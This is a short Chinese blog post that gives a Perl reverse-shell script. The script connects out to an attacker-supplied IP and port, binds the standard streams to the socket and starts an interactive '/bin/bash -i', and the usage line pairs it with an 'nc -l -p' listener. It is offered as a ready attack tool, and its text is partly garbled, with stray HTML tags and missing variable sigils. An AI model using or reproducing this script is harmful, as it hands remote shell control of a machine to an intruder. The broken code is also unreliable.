perl反弹shell

将下面的代码保存为shell.pl



#!/usr/bin/perl -w



use strict;<br />

use Socket;
use IO::Handle;

if($#ARGV+1 != 2){<br />

print “#ARGV0 Remote_IP Remote_Port n”;
exit 1;
}

my remote_ip =ARGV[0];<br />

my remote_port =ARGV[1];

my $proto = getprotobyname("tcp");<br />

my pack_addr = sockaddr_in(remote_port, inet_aton($remote_ip));

my shell = '/bin/bash -i';



socket(SOCK, AF_INET, SOCK_STREAM,proto);



STDOUT->autoflush(1);<br />

SOCK->autoflush(1);

connect(SOCK,pack_addr) or die "can not connect:!";



open STDIN, "<&SOCK";<br />

open STDOUT, “>&SOCK”;
open STDERR, “>&SOCK”;

print "Enjoy the shell.n";



system($shell);<br />

close SOCK;

exit 0;



上个效果图先:

                               用法:执行./shell.pl Remote_IP Remote_Port,在远程机器上通过nc -l -p 端口就行了。

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注